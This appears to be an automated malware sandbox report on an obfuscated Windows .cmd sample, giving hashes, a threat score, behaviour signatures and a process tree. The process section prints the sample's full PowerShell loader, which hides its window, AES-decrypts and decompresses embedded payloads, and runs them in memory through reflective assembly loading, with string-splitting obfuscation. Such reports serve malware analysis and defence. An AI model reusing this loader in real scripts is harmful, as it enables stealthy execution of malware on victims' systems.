Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    20-10-2024 02:22

General

  • Target

    7543e6925701f6fde75accb15f483991596b55260b720ba7dbc84cc48eeb27aa.cmd

  • Size

    1.6MB

  • MD5

    d7239bc304b1d9d4ae192e2570419d53

  • SHA1

    dccb1c1c8021d791852cd5c0dc5c6240be0ed2d1

  • SHA256

    7543e6925701f6fde75accb15f483991596b55260b720ba7dbc84cc48eeb27aa

  • SHA512

    d52dde51b91d287c750e85828ce4dd7a46e0ea2235fd6e63d4e7588745f7e34c198827cccb2d719525ecea5e92a8804377ca193b2d3e1e0e986d4f77d8dd4430

  • SSDEEP

    24576:U6X5+xxQt9059S6lF1Xnu3V9wdo/Z7h6lstvegjMuz0OGSqE2qfv9OU:LpG/h3IHre0zRL

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\7543e6925701f6fde75accb15f483991596b55260b720ba7dbc84cc48eeb27aa.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2668
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('dZwBIL8mRiTZatOT8DHuTDuk3Oo1l68JNKsZ1rANWLs='); $aes_var.IV=[System.Convert]::FromBase64String('VRFaPmL5cO3W99Q3sAgvnA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$Sopqh=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$LWDBe=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$TccZi=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($Sopqh, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $TccZi.CopyTo($LWDBe); $TccZi.Dispose(); $Sopqh.Dispose(); $LWDBe.Dispose(); $LWDBe.ToArray();}function execute_function($param_var,$param2_var){ IEX '$MWnnv=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$jHyaV=$MWnnv.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$jHyaV.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$mjRKG = 'C:\Users\Admin\AppData\Local\Temp\7543e6925701f6fde75accb15f483991596b55260b720ba7dbc84cc48eeb27aa.cmd';$host.UI.RawUI.WindowTitle = $mjRKG;$ysPnv=[System.IO.File]::ReadAllText($mjRKG).Split([Environment]::NewLine);foreach ($akrhi in $ysPnv) { if ($akrhi.StartsWith('dUMGHfMAItMYvjVTxFtd')) { $XDrXi=$akrhi.Substring(20); break; }}$payloads_var=[string[]]$XDrXi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
      2⤵
        PID:2776
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2808

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2808-4-0x000007FEF66DE000-0x000007FEF66DF000-memory.dmp

      Filesize

      4KB

    • memory/2808-5-0x000000001B6B0000-0x000000001B992000-memory.dmp

      Filesize

      2.9MB

    • memory/2808-6-0x0000000001E60000-0x0000000001E68000-memory.dmp

      Filesize

      32KB

    • memory/2808-9-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp

      Filesize

      9.6MB

    • memory/2808-8-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp

      Filesize

      9.6MB

    • memory/2808-10-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp

      Filesize

      9.6MB

    • memory/2808-7-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp

      Filesize

      9.6MB

    • memory/2808-11-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp

      Filesize

      9.6MB

    • memory/2808-12-0x000007FEF66DE000-0x000007FEF66DF000-memory.dmp

      Filesize

      4KB

    • memory/2808-13-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp

      Filesize

      9.6MB